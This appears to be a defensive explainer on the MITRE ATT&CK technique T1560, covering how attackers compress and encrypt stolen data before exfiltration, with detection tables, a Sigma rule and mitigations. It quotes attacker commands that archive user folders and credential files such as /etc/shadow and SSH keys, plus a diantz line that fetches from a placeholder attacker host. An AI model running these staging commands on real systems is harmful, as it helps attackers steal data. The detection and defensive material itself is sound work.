Archive Collected Data

T1560 — Archive Collected Data — describes the adversary behavior of compressing and/or encrypting data that has already been collected on a victim system, in preparation for exfiltration. It sits within the Collection tactic and nearly always precedes a T1041 or T1048 exfiltration step.

The logic is straightforward: raw files are large, structurally identifiable, and potentially inspectable by data loss prevention (DLP) tooling or network proxies. A password-protected RAR archive is none of those things. It blends in with normal file transfers, resists content inspection, and reduces the volume of data that needs to move across the wire — which in turn lowers the chance of triggering bandwidth anomaly alerts.

The Three Sub-Techniques

T1560 has three sub-techniques, each reflecting a different method an attacker might use to accomplish the same goal.

Where T1560 Fits in the Kill Chain

T1560 does not happen in isolation. In a typical intrusion it occupies a very specific position — after collection is complete and before data actually leaves the network. Because archiving almost always precedes exfiltration, a detection event at this stage represents a last-chance opportunity to intervene before data leaves the organization.

The presence of T1560 activity on a system that has experienced prior suspicious behavior should be treated as a high-confidence indicator of an active, advanced intrusion — not a false positive to tune out.

Tools, Commands, and Common Patterns

The following examples represent commands that have appeared in real threat actor toolkits and incident response investigations.

WinRAR — The Most Commonly Observed Utility

WinRAR remains the archiving tool seen most frequently in APT and ransomware investigations. Attackers either bring their own copy of rar.exe or rely on an existing installation.

# Archive with AES-256 encryption and password, max compression
rar.exe a -dh -hp[PASSWORD] -m5 C:\ProgramData\staging\1.rar C:\ProgramData\staging\data.txt

# Multi-volume archive split into 50MB chunks for staged exfiltration
rar.exe a -v50m -hp[PASSWORD] -r output.rar C:\Users\

# Seen in APT28 campaigns: target specific file types recursively
rar.exe a -hp[PASSWORD] -n*.doc -n*.docx -n*.pdf -n*.xls exfil.rar C:\

7-Zip

7-Zip is widely used due to its open-source availability and strong AES-256 encryption. FIN7 infrastructure exposed in 2023 included native 7-Zip binaries alongside OpenSSH tools used to establish reverse tunnels for data routing.

# Password-protected 7z archive with header encryption
7z.exe a -p[PASSWORD] -mhe=on archive.7z C:\Users\target\Documents\

# Maximum compression, encrypted headers (hides all filenames)
7z.exe a -t7z -mx=9 -mhe -p[PASSWORD] out.7z .\collected\

Windows Built-in: diantz / makecab

diantz.exe is a LOLBin natively present on Windows. It creates cabinet (.cab) files and can fetch files from remote locations before compressing them — combining collection and archiving in a single step. MITRE documents this specifically for its overlap with Remote Data Staging.

# Create a cabinet file from a local file
diantz.exe targetfile.txt output.cab

# Download and compress remotely in one step
diantz.exe /F http://attacker.com/directives.ddf

certutil — Base64 Encoding as Obfuscation

certutil is frequently used to Base64-encode collected data before transfer, ensuring it passes as plain text through content filters. It requires no additional tools and leaves minimal artifact outside of process creation logs.

certutil -encode C:\staged\dump.bin C:\staged\dump.b64

Linux and macOS: tar + openssl Pipeline

On Unix-like systems, attackers chain standard utilities. Context — parent process, invocation path, output directory, timing — is what separates legitimate use from malicious staging.

# Compress and encrypt in one pipeline — common in server compromises
tar -czf - /home/target/ | openssl enc -aes-256-cbc -salt -pass pass:[PASSWORD] > /tmp/.cache/out.enc

# Seen in OceanLotus (APT32) Linux server targeting
tar -zcvf /tmp/.x/results.tar.gz /etc/passwd /etc/shadow /root/.ssh/

Confirmed Threat Actor Incidents

T1560 appears in the documented TTP profiles of dozens of confirmed threat groups and has been identified as a contributing factor in some of the most consequential breaches in history. The following incidents are drawn from public indictments, government advisories, and vendor threat intelligence reports.

Detection Guidance

MITRE ATT&CK v18 added a formal detection strategy for T1560 (DET0526, created October 2025), targeting three primary surfaces: process execution, file creation patterns, and process lineage anomalies.

Data Source	What to Look For	Notes
Process Creation	Execution of rar.exe, 7z.exe, makecab.exe, diantz.exe, tar, gzip, bzip2, openssl enc with compression or encryption switches	Flag especially when invoked by non-standard parent processes: Office apps, IIS workers, web shells, scheduled tasks on servers
File Creation	Large files with extensions .rar, .zip, .7z, .cab, .tar.gz, .enc appearing in C:\ProgramData\, %TEMP%, /tmp, /var/tmp	Correlate with process execution events. A .rar created by a process other than a user shell or known backup agent warrants investigation.
Command-Line Args	Password flags: -hp (WinRAR header encryption), -p (7-Zip), -pass (openssl). Recursive: -r. Delete after archive: -df in WinRAR.	Header encryption hides filenames. Outside known backup workflows, its use is a strong malicious indicator.
Process Lineage	Archiving tools launched from scheduled tasks, services, web shells, or unexpected parent binaries. Abnormal crypt32.dll usage.	IIS worker spawning rar.exe is essentially never legitimate. A scheduled task invoking 7z.exe on a DC warrants immediate investigation.
PowerShell	Compress-Archive cmdlet invocations in unusual directories or from unexpected processes	Enable Script Block Logging (Event ID 4104). Transcription logging adds coverage for .NET compression calls bypassing Compress-Archive.
Network Traffic	Outbound transfers of large files with archive magic bytes following process execution from the categories above	Correlate with DLP events. Encrypted archive headers are identifiable without decrypting content. Flag transfers to cloud storage or unknown ASNs.

Sigma Detection Rule (T1560.001 — Windows)

title: Archive Utility With Encryption Flag in Suspicious Context
id: T1560-001-archive-encryption
status: experimental
description: Detects password-protected archive creation by rar.exe or 7z.exe
          launched from anomalous parent processes
logsource:
    category: process_creation
    product: windows
detection:
    selection_tools:
        Image|endswith:
            - '\rar.exe'
            - '\7z.exe'
            - '\winrar.exe'
    selection_encrypt:
        CommandLine|contains:
            - ' -hp'
            - ' -p '
            - ' -mhe'
    filter_legit_parent:
        ParentImage|contains:
            - 'Explorer.exe'
            - 'cmd.exe'
    condition: selection_tools and selection_encrypt and not filter_legit_parent
falsepositives:
    - Legitimate backup scripts (baseline and suppress known-good)
    - Developers compressing release artifacts
level: high
tags:
    - attack.collection
    - attack.t1560.001

Mitigations and Hardening

MITRE's formal position is that T1560 cannot be easily mitigated through preventive controls because it abuses legitimate functionality. Defenders have meaningful options at the detection, visibility, and response layers.

• Application control and allowlisting. Where users have no legitimate need to run rar.exe, 7z.exe, or equivalent tools, AppLocker or WDAC policies can block execution outside approved paths. This forces attackers to use LOLBins or switch to library-based archiving — both detectable by different means.
• Full-coverage EDR. Ensure EDR is deployed with complete telemetry on process creation, command-line capture, and file write events. Threat actors routinely survey for unprotected hosts before initiating collection operations — gaps in EDR coverage are exploited deliberately.
• DLP tuning for archive patterns. While encrypted archives resist content inspection, DLP can still trigger on file size thresholds, destination reputation, and outbound data volume. Flagging large encrypted transfers to cloud storage or unknown IP ranges provides a compensating control independent of endpoint telemetry.
• PowerShell Script Block Logging. Enable Event ID 4104 and forward logs to your SIEM. Compress-Archive and ConvertTo-SecureString in unusual contexts are detectable here. Transcription logging adds coverage for direct .NET compression calls.
• Egress filtering and network segmentation. T1560 precedes exfiltration. If data can be archived but cannot leave the network, the objective is frustrated. Strict egress filtering — blocking direct outbound connections from server infrastructure to consumer cloud services and uncommon destination ASNs — addresses the downstream step that T1560 enables.

Related ATT&CK Techniques

Technique	Relationship to T1560
T1005 — Data from Local System	Collection phase preceding T1560. Operators search local drives, profile directories, and application data stores before staging.
T1039 — Data from Network Shared Drive	Collection from SMB shares or mapped drives. Often followed immediately by T1560 to package everything before transfer.
T1074 — Data Staged	Closely related: data is placed in a temporary location before or after archiving. T1560 and T1074 frequently appear together in the same intrusion timeline.
T1041 — Exfiltration Over C2 Channel	The step following T1560. Detection of T1041 without a corresponding T1560 event may indicate library-based archiving was used, or raw files were sent directly.
T1048 — Exfiltration Over Alternative Protocol	Attackers may exfiltrate archives via DNS, ICMP, or web services. The archive format is the same; the carrier changes.
T1027 — Obfuscated Files or Information	Overlaps conceptually with archive encryption. The distinction is intent: T1560 is about packaging stolen data; T1027 is about hiding malicious code or commands.

Key Takeaways

1. T1560 is a last-chance detection opportunity. By the time archiving begins, collection is complete. A detection here can stop an exfiltration that survived every earlier control in the kill chain.
2. The tools are legitimate — context is everything. WinRAR and 7-Zip are not inherently malicious. Parent process, invocation path, output directory, and timing are what turn a routine tool into an indicator of compromise.
3. Header encryption is a strong signal. The -hp and -mhe flags hide filenames inside archives. Outside of known backup workflows, their presence is a meaningful indicator of malicious intent.
4. Library-based archiving (T1560.002) is detection-resistant by design. Nation-state implants like Turla's LightNeuron and Winnti's CuckooBees loaders handle compression internally — no child process, no command-line flag, no standard detection trigger. Memory scanning and file entropy analysis are needed here.
5. This pattern is universal across actor types. From GRU election interference to North Korean financial crime to ransomware double-extortion, the collect-compress-exfiltrate sequence is a near-constant. If you see it on a host with prior suspicious activity, treat it as a high-confidence signal of an active advanced intrusion.